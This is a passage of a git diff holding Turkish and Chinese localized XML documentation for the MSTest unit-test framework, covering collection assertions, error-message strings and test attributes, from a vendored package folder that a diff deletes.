gerçek koleksiyondan farklı olması beklenen - öğeleri içerir. - - - Karşılaştırılacak ikinci koleksiyon. Test kapsamındaki kod tarafından - bu koleksiyon oluşturulur. - - - Şu durumda özel duruma dahil edilecek ileti - şununla aynı öğeleri içerir: . İleti - test sonuçlarında gösterilir. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - İki koleksiyonun farklı öğeler içerip içermediğini test eder ve iki koleksiyon - sıraya bakılmaksızın aynı öğeleri içeriyorsa bir özel durum - oluşturur. - - - Karşılaştırılacak birinci koleksiyon. Testte gerçek koleksiyondan farklı olması beklenen - öğeleri içerir. - - - Karşılaştırılacak ikinci koleksiyon. Test kapsamındaki kod tarafından - bu koleksiyon oluşturulur. - - - Şu durumda özel duruma dahil edilecek ileti - şununla aynı öğeleri içerir: . İleti - test sonuçlarında gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Belirtilen koleksiyondaki tüm öğelerin beklenen türde örnekler - olup olmadığını test eder ve beklenen tür bir veya daha fazla öğenin - devralma hiyerarşisinde değilse bir özel durum oluşturur. - - - Testte belirtilen türde olması beklenen öğeleri içeren - koleksiyon. - - - Her öğe için beklenen tür . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Belirtilen koleksiyondaki tüm öğelerin beklenen türde örnekler - olup olmadığını test eder ve beklenen tür bir veya daha fazla öğenin - devralma hiyerarşisinde değilse bir özel durum oluşturur. - - - Testte belirtilen türde olması beklenen öğeleri içeren - koleksiyon. - - - Her öğe için beklenen tür . - - - İletinin özel duruma dahil edilmesi için şuradaki bir öğe: - şunun bir örneği değil: - . İleti test sonuçlarında gösterilir. - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Belirtilen koleksiyondaki tüm öğelerin beklenen türde örnekler - olup olmadığını test eder ve beklenen tür bir veya daha fazla öğenin - devralma hiyerarşisinde değilse bir özel durum oluşturur. - - - Testte belirtilen türde olması beklenen öğeleri içeren - koleksiyon. - - - Her öğe için beklenen tür . - - - İletinin özel duruma dahil edilmesi için şuradaki bir öğe: - şunun bir örneği değil: - . İleti test sonuçlarında gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Belirtilen koleksiyonların eşit olup olmadığını test eder ve iki koleksiyon - eşit değilse bir özel durum oluşturur. Eşitlik aynı öğelere aynı sırayla ve aynı miktarda - sahip olunması olarak tanımlanır. Aynı değere yönelik farklı başvurular - eşit olarak kabul edilir. - - - Karşılaştırılacak birinci koleksiyon. Testte bu koleksiyon beklenir. - - - Karşılaştırılacak ikinci koleksiyon. Test kapsamındaki kod tarafından bu - koleksiyon oluşturulur. - - - Thrown if is not equal to - . - - - - - Belirtilen koleksiyonların eşit olup olmadığını test eder ve iki koleksiyon - eşit değilse bir özel durum oluşturur. Eşitlik aynı öğelere aynı sırayla ve aynı miktarda - sahip olunması olarak tanımlanır. Aynı değere yönelik farklı başvurular - eşit olarak kabul edilir. - - - Karşılaştırılacak birinci koleksiyon. Testte bu koleksiyon beklenir. - - - Karşılaştırılacak ikinci koleksiyon. Test kapsamındaki kod tarafından bu - koleksiyon oluşturulur. - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşit değil: . İleti test sonuçlarında - gösterilir. - - - Thrown if is not equal to - . - - - - - Belirtilen koleksiyonların eşit olup olmadığını test eder ve iki koleksiyon - eşit değilse bir özel durum oluşturur. Eşitlik aynı öğelere aynı sırayla ve aynı miktarda - sahip olunması olarak tanımlanır. Aynı değere yönelik farklı başvurular - eşit olarak kabul edilir. - - - Karşılaştırılacak birinci koleksiyon. Testte bu koleksiyon beklenir. - - - Karşılaştırılacak ikinci koleksiyon. Test kapsamındaki kod tarafından bu - koleksiyon oluşturulur. - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşit değil: . İleti test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is not equal to - . - - - - - Belirtilen koleksiyonların eşit olup olmadığını test eder ve iki koleksiyon eşitse - bir özel durum oluşturur. Eşitlik aynı öğelere aynı sırayla ve - aynı miktarda sahip olunması olarak tanımlanır. Aynı değere yönelik farklı başvurular - eşit olarak kabul edilir. - - - Karşılaştırılacak birinci koleksiyon. Testte bu koleksiyonun - eşleşmemesi beklenir . - - - Karşılaştırılacak ikinci koleksiyon. Test kapsamındaki kod tarafından bu - koleksiyon oluşturulur. - - - Thrown if is equal to . - - - - - Belirtilen koleksiyonların eşit olup olmadığını test eder ve iki koleksiyon eşitse - bir özel durum oluşturur. Eşitlik aynı öğelere aynı sırayla ve - aynı miktarda sahip olunması olarak tanımlanır. Aynı değere yönelik farklı başvurular - eşit olarak kabul edilir. - - - Karşılaştırılacak birinci koleksiyon. Testte bu koleksiyonun - eşleşmemesi beklenir . - - - Karşılaştırılacak ikinci koleksiyon. Test kapsamındaki kod tarafından bu - koleksiyon oluşturulur. - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşittir: . İleti test sonuçlarında - gösterilir. - - - Thrown if is equal to . - - - - - Belirtilen koleksiyonların eşit olup olmadığını test eder ve iki koleksiyon eşitse - bir özel durum oluşturur. Eşitlik aynı öğelere aynı sırayla ve - aynı miktarda sahip olunması olarak tanımlanır. Aynı değere yönelik farklı başvurular - eşit olarak kabul edilir. - - - Karşılaştırılacak birinci koleksiyon. Testte bu koleksiyonun - eşleşmemesi beklenir . - - - Karşılaştırılacak ikinci koleksiyon. Test kapsamındaki kod tarafından bu - koleksiyon oluşturulur. - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşittir: . İleti test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is equal to . - - - - - Belirtilen koleksiyonların eşit olup olmadığını test eder ve iki koleksiyon - eşit değilse bir özel durum oluşturur. Eşitlik aynı öğelere aynı sırayla ve aynı miktarda - sahip olunması olarak tanımlanır. Aynı değere yönelik farklı başvurular - eşit olarak kabul edilir. - - - Karşılaştırılacak birinci koleksiyon. Testte bu koleksiyon beklenir. - - - Karşılaştırılacak ikinci koleksiyon. Test kapsamındaki kod tarafından bu - koleksiyon oluşturulur. - - - Koleksiyonun öğeleri karşılaştırılırken kullanılacak karşılaştırma uygulaması. - - - Thrown if is not equal to - . - - - - - Belirtilen koleksiyonların eşit olup olmadığını test eder ve iki koleksiyon - eşit değilse bir özel durum oluşturur. Eşitlik aynı öğelere aynı sırayla ve aynı miktarda - sahip olunması olarak tanımlanır. Aynı değere yönelik farklı başvurular - eşit olarak kabul edilir. - - - Karşılaştırılacak birinci koleksiyon. Testte bu koleksiyon beklenir. - - - Karşılaştırılacak ikinci koleksiyon. Test kapsamındaki kod tarafından bu - koleksiyon oluşturulur. - - - Koleksiyonun öğeleri karşılaştırılırken kullanılacak karşılaştırma uygulaması. - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşit değil: . İleti test sonuçlarında - gösterilir. - - - Thrown if is not equal to - . - - - - - Belirtilen koleksiyonların eşit olup olmadığını test eder ve iki koleksiyon - eşit değilse bir özel durum oluşturur. Eşitlik aynı öğelere aynı sırayla ve aynı miktarda - sahip olunması olarak tanımlanır. Aynı değere yönelik farklı başvurular - eşit olarak kabul edilir. - - - Karşılaştırılacak birinci koleksiyon. Testte bu koleksiyon beklenir. - - - Karşılaştırılacak ikinci koleksiyon. Test kapsamındaki kod tarafından bu - koleksiyon oluşturulur. - - - Koleksiyonun öğeleri karşılaştırılırken kullanılacak karşılaştırma uygulaması. - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşit değil: . İleti test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is not equal to - . - - - - - Belirtilen koleksiyonların eşit olup olmadığını test eder ve iki koleksiyon eşitse - bir özel durum oluşturur. Eşitlik aynı öğelere aynı sırayla ve - aynı miktarda sahip olunması olarak tanımlanır. Aynı değere yönelik farklı başvurular - eşit olarak kabul edilir. - - - Karşılaştırılacak birinci koleksiyon. Testte bu koleksiyonun - eşleşmemesi beklenir . - - - Karşılaştırılacak ikinci koleksiyon. Test kapsamındaki kod tarafından bu - koleksiyon oluşturulur. - - - Koleksiyonun öğeleri karşılaştırılırken kullanılacak karşılaştırma uygulaması. - - - Thrown if is equal to . - - - - - Belirtilen koleksiyonların eşit olup olmadığını test eder ve iki koleksiyon eşitse - bir özel durum oluşturur. Eşitlik aynı öğelere aynı sırayla ve - aynı miktarda sahip olunması olarak tanımlanır. Aynı değere yönelik farklı başvurular - eşit olarak kabul edilir. - - - Karşılaştırılacak birinci koleksiyon. Testte bu koleksiyonun - eşleşmemesi beklenir . - - - Karşılaştırılacak ikinci koleksiyon. Test kapsamındaki kod tarafından bu - koleksiyon oluşturulur. - - - Koleksiyonun öğeleri karşılaştırılırken kullanılacak karşılaştırma uygulaması. - - - Şu durumda özel duruma dahil edilecek ileti: - şuna eşittir: . İleti test sonuçlarında - gösterilir. - - - Thrown if is equal to . - - - - - Belirtilen koleksiyonların eşit olup olmadığını test eder ve iki koleksiyon eşitse - bir özel durum oluşturur. Eşitlik aynı öğelere aynı sırayla ve - aynı miktarda sahip olunması olarak tanımlanır. Aynı değere yönelik farklı başvurular - eşit olarak kabul edilir. - - - Karşılaştırılacak birinci koleksiyon. Testte bu koleksiyonun - eşleşmemesi beklenir . - - - Karşılaştırılacak ikinci koleksiyon. Test kapsamındaki kod tarafından bu - koleksiyon oluşturulur. - - - Koleksiyonun öğeleri karşılaştırılırken kullanılacak karşılaştırma uygulaması. - - - Şu durumda özel duruma dahil edilecek ileti: - şuna eşittir: . İleti test sonuçlarında - gösterilir. - - - Şu parametre biçimlendirilirken kullanılacak parametre dizisi: . - - - Thrown if is equal to . - - - - - Birinci koleksiyonun ikinci koleksiyona ait bir alt küme olup - olmadığını belirler. Kümelerden biri yinelenen öğeler içeriyorsa, - öğenin alt kümedeki oluşum sayısı üst kümedeki oluşum sayısına - eşit veya bu sayıdan daha az olmalıdır. - - - Testin içinde bulunmasını beklediği koleksiyon . - - - Testin içermesini beklediği koleksiyon . - - - Şu durumda true: şunun bir alt kümesidir: - , aksi takdirde false. - - - - - Belirtilen koleksiyondaki her öğenin oluşum sayısını içeren bir - sözlük oluşturur. - - - İşlenecek koleksiyon. - - - Koleksiyondaki null öğe sayısı. - - - Belirtilen koleksiyondaki her öğenin oluşum sayısını içeren - bir sözlük. - - - - - İki koleksiyon arasında eşleşmeyen bir öğe bulur. Eşleşmeyen öğe, - beklenen koleksiyonda gerçek koleksiyondakinden farklı sayıda görünen - öğedir. Koleksiyonların, - aynı sayıda öğeye sahip null olmayan farklı başvurular olduğu - varsayılır. Bu doğrulama düzeyinden - çağıran sorumludur. Eşleşmeyen bir öğe yoksa işlev - false değerini döndürür ve dış parametreler kullanılmamalıdır. - - - Karşılaştırılacak birinci koleksiyon. - - - Karşılaştırılacak ikinci koleksiyon. - - - Şunun için beklenen oluşma sayısı: - veya uyumsuz öğe yoksa - 0. - - - Gerçek oluşma sayısı: - veya uyumsuz öğe yoksa - 0. - - - Uyumsuz öğe (null olabilir) veya uyumsuz bir - öğe yoksa null. - - - uyumsuz bir öğe bulunduysa true; aksi takdirde false. - - - - - object.Equals kullanarak nesneleri karşılaştırır - - - - - Çerçeve Özel Durumları için temel sınıf. - - - - - sınıfının yeni bir örneğini başlatır. - - - - - sınıfının yeni bir örneğini başlatır. - - İleti. - Özel durum. - - - - sınıfının yeni bir örneğini başlatır. - - İleti. - - - - Yerelleştirilmiş dizeleri aramak gibi işlemler için, türü kesin olarak belirtilmiş kaynak sınıfı. - - - - - Bu sınıf tarafından kullanılan, önbelleğe alınmış ResourceManager örneğini döndürür. - - - - - Türü kesin olarak belirlenmiş bu kaynak sınıfını kullanan - tüm kaynak aramaları için geçerli iş parçacığının CurrentUICulture özelliğini geçersiz kılar. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Erişim dizesinde geçersiz söz dizimi var. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Beklenen koleksiyon {1} <{2}> oluşumu içeriyor. Gerçek koleksiyon {3} oluşum içeriyor. {0}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Yinelenen öğe bulundu:<{1}>. {0}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Beklenen:<{1}>. Gerçek değer için büyük/küçük harf kullanımı farklı:<{2}>. {0}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Beklenen <{1}> değeri ile gerçek <{2}> değeri arasında en fazla <{3}> fark bekleniyordu. {0}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Beklenen:<{1} ({2})>. Gerçek:<{3} ({4})>. {0}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Beklenen:<{1}>. Gerçek:<{2}>. {0}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Beklenen <{1}> değeri ile gerçek <{2}> değeri arasında <{3}> değerinden büyük bir fark bekleniyordu. {0}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: <{1}> dışında bir değer bekleniyordu. Gerçek:<{2}>. {0}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Değer türlerini AreSame() metoduna geçirmeyin. Object türüne dönüştürülen değerler hiçbir zaman aynı olmaz. AreEqual(). kullanmayı deneyin {0}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: {0} başarısız oldu. {1}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: UITestMethodAttribute özniteliğine sahip async TestMethod metodu desteklenmiyor. async ifadesini kaldırın ya da TestMethodAttribute özniteliğini kullanın. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Her iki koleksiyon da boş. {0}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Her iki koleksiyon da aynı öğeleri içeriyor. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Her iki koleksiyon başvurusu da aynı koleksiyon nesnesini işaret ediyor. {0}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Her iki koleksiyon da aynı öğeleri içeriyor. {0}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: {0}({1}). - - - - - Şuna benzer bir yerelleştirilmiş dize arar: null. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: nesne. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: '{0}' dizesi '{1}' dizesini içermiyor. {2}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: {0} ({1}). - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Assert.Equals, Onaylamalar için kullanılmamalıdır. Lütfen bunun yerine Assert.AreEqual ve aşırı yüklemelerini kullanın. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Koleksiyonlardaki öğe sayıları eşleşmiyor. Beklenen:<{1}>. Gerçek:<{2}>.{0}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: {0} dizinindeki öğe eşleşmiyor. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: {1} dizinindeki öğe beklenen türde değil. Beklenen tür:<{2}>. Gerçek tür:<{3}>.{0}. - - - - - Şuna benzer bir yerelleştirilmiş dizeyi arar: {1} dizinindeki öğe (null). Beklenen tür:<{2}>.{0}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: '{0}' dizesi '{1}' dizesiyle bitmiyor. {2}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Geçersiz bağımsız değişken. EqualsTester null değerler kullanamaz. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: {0} türündeki nesne {1} türüne dönüştürülemiyor. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Başvurulan iç nesne artık geçerli değil. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: '{0}' parametresi geçersiz. {1}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: {0} özelliği {1} türüne sahip; beklenen tür {2}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: {0} Beklenen tür:<{1}>. Gerçek tür:<{2}>. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: '{0}' dizesi '{1}' deseniyle eşleşmiyor. {2}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Yanlış Tür:<{1}>. Gerçek tür:<{2}>. {0}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: '{0}' dizesi '{1}' deseniyle eşleşiyor. {2}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: No DataRowAttribute belirtilmedi. DataTestMethodAttribute ile en az bir DataRowAttribute gereklidir. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Özel durum oluşturulmadı. {1} özel durumu bekleniyordu. {0}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: '{0}' parametresi geçersiz. Değer null olamaz. {1}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Farklı sayıda öğe. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: - Belirtilen imzaya sahip oluşturucu bulunamadı. Özel erişimcinizi yeniden oluşturmanız gerekebilir - veya üye özel ve bir temel sınıfta tanımlanmış olabilir. İkinci durum geçerliyse üyeyi - tanımlayan türü PrivateObject oluşturucusuna geçirmeniz gerekir. - . - - - - - Şuna benzer bir yerelleştirilmiş dize arar: - Belirtilen üye ({0}) bulunamadı. Özel erişimcinizi yeniden oluşturmanız gerekebilir - veya üye özel ve bir temel sınıfta tanımlanmış olabilir. İkinci durum geçerliyse üyeyi tanımlayan türü - PrivateObject oluşturucusuna geçirmeniz gerekir. - . - - - - - Şuna benzer bir yerelleştirilmiş dize arar: '{0}' dizesi '{1}' dizesiyle başlamıyor. {2}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Beklenen özel durum türü System.Exception veya System.Exception'dan türetilmiş bir tür olmalıdır. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Bir özel durum nedeniyle {0} türündeki özel durum için ileti alınamadı. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Test metodu beklenen {0} özel durumunu oluşturmadı. {1}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Test metodu bir özel durum oluşturmadı. Test metodunda tanımlanan {0} özniteliği tarafından bir özel durum bekleniyordu. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Test metodu {0} özel durumunu oluşturdu, ancak {1} özel durumu bekleniyordu. Özel durum iletisi: {2}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Test metodu {0} özel durumunu oluşturdu, ancak {1} özel durumu veya bundan türetilmiş bir tür bekleniyordu. Özel durum iletisi: {2}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: {2} özel durumu oluşturuldu, ancak {1} özel durumu bekleniyordu. {0} - Özel Durum İletisi: {3} - Yığın İzleme: {4}. - - - - - birim testi sonuçları - - - - - Test yürütüldü ancak sorunlar oluştu. - Sorunlar özel durumları veya başarısız onaylamaları içerebilir. - - - - - Test tamamlandı ancak başarılı olup olmadığı belli değil. - İptal edilen testler için kullanılabilir. - - - - - Test bir sorun olmadan yürütüldü. - - - - - Test şu anda yürütülüyor. - - - - - Test yürütülmeye çalışılırken bir sistem hatası oluştu. - - - - - Test zaman aşımına uğradı. - - - - - Test, kullanıcı tarafından iptal edildi. - - - - - Test bilinmeyen bir durumda - - - - - Birim testi çerçevesi için yardımcı işlevini sağlar - - - - - Yinelemeli olarak tüm iç özel durumların iletileri dahil olmak üzere - özel durum iletilerini alır - - Şunun için iletilerin alınacağı özel durum: - hata iletisi bilgilerini içeren dize - - - - Zaman aşımları için sınıfı ile birlikte kullanılabilen sabit listesi. - Sabit listesinin türü eşleşmelidir - - - - - Sonsuz. - - - - - Test sınıfı özniteliği. - - - - - Bu testi çalıştırmayı sağlayan bir test metodu özniteliği alır. - - Bu metot üzerinde tanımlanan test metodu özniteliği örneği. - The bu testi çalıştırmak için kullanılabilir. - Extensions can override this method to customize how all methods in a class are run. - - - - Test metodu özniteliği. - - - - - Bir test metodu yürütür. - - Yürütülecek test metodu. - Testin sonuçlarını temsil eden bir TestResult nesneleri dizisi. - Extensions can override this method to customize running a TestMethod. - - - - Test başlatma özniteliği. - - - - - Test temizleme özniteliği. - - - - - Ignore özniteliği. - - - - - Test özelliği özniteliği. - - - - - sınıfının yeni bir örneğini başlatır. - - - Ad. - - - Değer. - - - - - Adı alır. - - - - - Değeri alır. - - - - - Sınıf başlatma özniteliği. - - - - - Sınıf temizleme özniteliği. - - - - - Bütünleştirilmiş kod başlatma özniteliği. - - - - - Bütünleştirilmiş kod temizleme özniteliği. - - - - - Test Sahibi - - - - - sınıfının yeni bir örneğini başlatır. - - - Sahip. - - - - - Sahibi alır. - - - - - Priority özniteliği; birim testinin önceliğini belirtmek için kullanılır. - - - - - sınıfının yeni bir örneğini başlatır. - - - Öncelik. - - - - - Önceliği alır. - - - - - Testin açıklaması - - - - - Bir testi açıklamak için kullanılan sınıfının yeni bir örneğini başlatır. - - Açıklama. - - - - Bir testin açıklamasını alır. - - - - - CSS Proje Yapısı URI'si - - - - - CSS Proje Yapısı URI'si için sınıfının yeni bir örneğini başlatır. - - CSS Proje Yapısı URI'si. - - - - CSS Proje Yapısı URI'sini alır. - - - - - CSS Yineleme URI'si - - - - - CSS Yineleme URI'si için sınıfının yeni bir örneğini başlatır. - - CSS Yineleme URI'si. - - - - CSS Yineleme URI'sini alır. - - - - - WorkItem özniteliği; bu testle ilişkili bir çalışma öğesini belirtmek için kullanılır. - - - - - WorkItem Özniteliği için sınıfının yeni bir örneğini başlatır. - - Bir iş öğesinin kimliği. - - - - İlişkili bir iş öğesinin kimliğini alır. - - - - - Timeout özniteliği; bir birim testinin zaman aşımını belirtmek için kullanılır. - - - - - sınıfının yeni bir örneğini başlatır. - - - Zaman aşımı. - - - - - sınıfının önceden ayarlanmış bir zaman aşımı ile yeni bir örneğini başlatır - - - Zaman aşımı - - - - - Zaman aşımını alır. - - - - - Bağdaştırıcıya döndürülecek TestResult nesnesi. - - - - - sınıfının yeni bir örneğini başlatır. - - - - - Sonucun görünen adını alır veya ayarlar. Birden fazla sonuç döndürürken yararlıdır. - Null ise Metot adı DisplayName olarak kullanılır. - - - - - Test yürütmesinin sonucunu alır veya ayarlar. - - - - - Test başarısız olduğunda oluşturulan özel durumu alır veya ayarlar. - - - - - Test kodu tarafından günlüğe kaydedilen iletinin çıktısını alır veya ayarlar. - - - - - Test kodu tarafından günlüğe kaydedilen iletinin çıktısını alır veya ayarlar. - - - - - Test koduna göre hata ayıklama izlemelerini alır veya ayarlar. - - - - - Gets or sets the debug traces by test code. - - - - - Test yürütme süresini alır veya ayarlar. - - - - - Veri kaynağındaki veri satırı dizinini alır veya ayarlar. Yalnızca, veri tabanlı bir testin tek bir veri satırının - çalıştırılmasına ait sonuçlar için ayarlayın. - - - - - Test metodunun dönüş değerini alır veya ayarlar. (Şu anda her zaman null). - - - - - Test tarafından eklenen sonuç dosyalarını alır veya ayarlar. - - - - - Veri tabanlı test için bağlantı dizesini, tablo adını ve satır erişim metodunu belirtir. - - - [DataSource("Provider=SQLOLEDB.1;Data Source=source;Integrated Security=SSPI;Initial Catalog=EqtCoverage;Persist Security Info=False", "MyTable")] - [DataSource("dataSourceNameFromConfigFile")] - - - - - DataSource için varsayılan sağlayıcı adı. - - - - - Varsayılan veri erişimi metodu. - - - - - sınıfının yeni bir örneğini başlatır. Bu örnek bir veri sağlayıcısı, bağlantı dizesi, veri tablosu ve veri kaynağına erişmek için kullanılan veri erişimi metodu ile başlatılır. - - System.Data.SqlClient gibi değişmez veri sağlayıcısı adı - - Veri sağlayıcısına özgü bağlantı dizesi. - UYARI: Bağlantı dizesi, hassas veriler (parola gibi) içerebilir. - Bağlantı dizesi, kaynak kodunda ve derlenmiş bütünleştirilmiş kodda düz metin olarak depolanır. - Bu hassas bilgileri korumak için kaynak koda ve bütünleştirilmiş koda erişimi kısıtlayın. - - Veri tablosunun adı. - Verilere erişme sırasını belirtir. - - - - sınıfının yeni bir örneğini başlatır. Bu örnek bir bağlantı dizesi ve tablo adı ile başlatılır. - OLEDB veri kaynağına erişmek için kullanılan bağlantı dizesini ve veri tablosunu belirtin. - - - Veri sağlayıcısına özgü bağlantı dizesi. - UYARI: Bağlantı dizesi, hassas veriler (parola gibi) içerebilir. - Bağlantı dizesi, kaynak kodunda ve derlenmiş bütünleştirilmiş kodda düz metin olarak depolanır. - Bu hassas bilgileri korumak için kaynak koda ve bütünleştirilmiş koda erişimi kısıtlayın. - - Veri tablosunun adı. - - - - sınıfının yeni bir örneğini başlatır. Bu örnek bir veri sağlayıcısı ile ve ayar adıyla ilişkili bir bağlantı dizesi ile başlatılır. - - App.config dosyasındaki <microsoft.visualstudio.qualitytools> bölümünde bulunan veri kaynağının adı. - - - - Veri kaynağının veri sağlayıcısını temsil eden bir değer alır. - - - Veri sağlayıcısı adı. Nesne başlatılırken bir veri sağlayıcısı belirtilmemişse varsayılan System.Data.OleDb sağlayıcısı döndürülür. - - - - - Veri kaynağının bağlantı dizesini temsil eden bir değer alır. - - - - - Verileri sağlayan tablo adını belirten bir değer alır. - - - - - Veri kaynağına erişmek için kullanılan metodu alır. - - - - Bir değerlerdir. Eğer başlatılmazsa, varsayılan değeri döndürür . - - - - - App.config dosyasındaki <microsoft.visualstudio.qualitytools> bölümünde bulunan bir veri kaynağının adını alır. - - - - - Verilerin satır içi belirtilebileceği veri tabanlı testin özniteliği. - - - - - Tüm veri satırlarını bulur ve yürütür. - - - Test Yöntemi. - - - Bir . - - - - - Veri tabanlı test metodunu çalıştırır. - - Yürütülecek test yöntemi. - Veri Satırı. - Yürütme sonuçları. - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/zh-Hans/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/zh-Hans/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml deleted file mode 100644 index 35e36962..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/zh-Hans/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml +++ /dev/null @@ -1,1097 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions - - - - - 用于为预测试部署指定部署项(文件或目录)。 - 可在测试类或测试方法上指定。 - 可使用多个特性实例来指定多个项。 - 项路径可以是绝对路径或相对路径,如果为相对路径,则相对于 RunConfig.RelativePathRoot。 - - - [DeploymentItem("file1.xml")] - [DeploymentItem("file2.xml", "DataFiles")] - [DeploymentItem("bin\Debug")] - - - - - 初始化 类的新实例。 - - 要部署的文件或目录。路径与生成输出目录相关。将项复制到与已部署测试程序集相同的目录。 - - - - 初始化 类的新实例 - - 要部署的文件或目录的相对路径或绝对路径。该路径相对于生成输出目录。将项复制到与已部署测试程序集相同的目录。 - 要将项复制到其中的目录路径。它可以是绝对部署目录或相对部署目录。所有由以下对象标识的文件和目录: 将复制到此目录。 - - - - 获取要复制的源文件或文件夹的路径。 - - - - - 获取将项复制到其中的目录路径。 - - - - - 包含节名称、属性名称、特性名称的文本。 - - - - - 配置节名称。 - - - - - Beta2 的配置节名称。保留以兼容。 - - - - - 数据源的节名称。 - - - - - "Name" 的属性名称 - - - - - "ConnectionString" 的属性名称 - - - - - "DataAccessMethod" 的属性名称 - - - - - "DataTable" 的属性名称 - - - - - 数据源元素。 - - - - - 获取或设置此配置的名称。 - - - - - 获取或设置 .config 文件 <connectionStrings> 部分中的 ConnectionStringSettings 元素。 - - - - - 获取或设置数据表的名称。 - - - - - 获取或设置数据访问的类型。 - - - - - 获取密钥名称。 - - - - - 获取配置属性。 - - - - - 数据源元素集合。 - - - - - 初始化 类的新实例。 - - - - - 返回具有指定密钥的配置元素。 - - 要返回的元素的密钥。 - 具有指定密钥的 System.Configuration.ConfigurationElement;否则,为空。 - - - - 在指定索引位置获取配置元素。 - - 要返回的 System.Configuration.ConfigurationElement 的索引位置。 - - - - 向配置元素集合添加一个配置元素。 - - 要添加的 System.Configuration.ConfigurationElement。 - - - - 从集合中删除一个 System.Configuration.ConfigurationElement。 - - . - - - - 从集合中删除一个 System.Configuration.ConfigurationElement。 - - 要删除的 System.Configuration.ConfigurationElement 的密钥。 - - - - 从集合中删所有配置元素对象。 - - - - - 创建一个新 。 - - 一个新的. - - - - 获取指定配置元素的元素密钥。 - - 返回密钥的 System.Configuration.ConfigurationElement。 - 充当指定 System.Configuration.ConfigurationElement 密钥的 System.Object。 - - - - 向配置元素集合添加一个配置元素。 - - 要添加的 System.Configuration.ConfigurationElement。 - - - - 向配置元素集合添加一个配置元素。 - - 要添加指定 System.Configuration.ConfigurationElement 的索引位置。 - 要添加的 System.Configuration.ConfigurationElement。 - - - - 支持对测试进行配置设置。 - - - - - 获取测试的配置节。 - - - - - 测试的配置节。 - - - - - 获取此配置节的数据源。 - - - - - 获取属性集合。 - - - 该 元素的属性。 - - - - - 此类表示系统中活动的非公共内部对象 - - - - - 初始化 类的新实例, - 该类包含已存在的私有类对象 - - 充当访问私有成员的起点的对象 - 非关联化字符串 using,指向要以 m_X.m_Y.m_Z 形式检索的对象 - - - - 初始化包装 - 指定类型的 类的新实例。 - - 程序集名称 - 完全限定名称 - 要传递到构造函数的参数 - - - - 初始化包装 - 指定类型的 类的新实例。 - - 程序集名称 - 完全限定名称 - 表示供方法调用的 表示供构造函数获取的参数编号、顺序和类型的对象 - 要传递到构造函数的参数 - - - - 初始化包装 - 指定类型的 类的新实例。 - - 要创建的对象的类型 - 要传递到构造函数的参数 - - - - 初始化包装 - 指定类型的 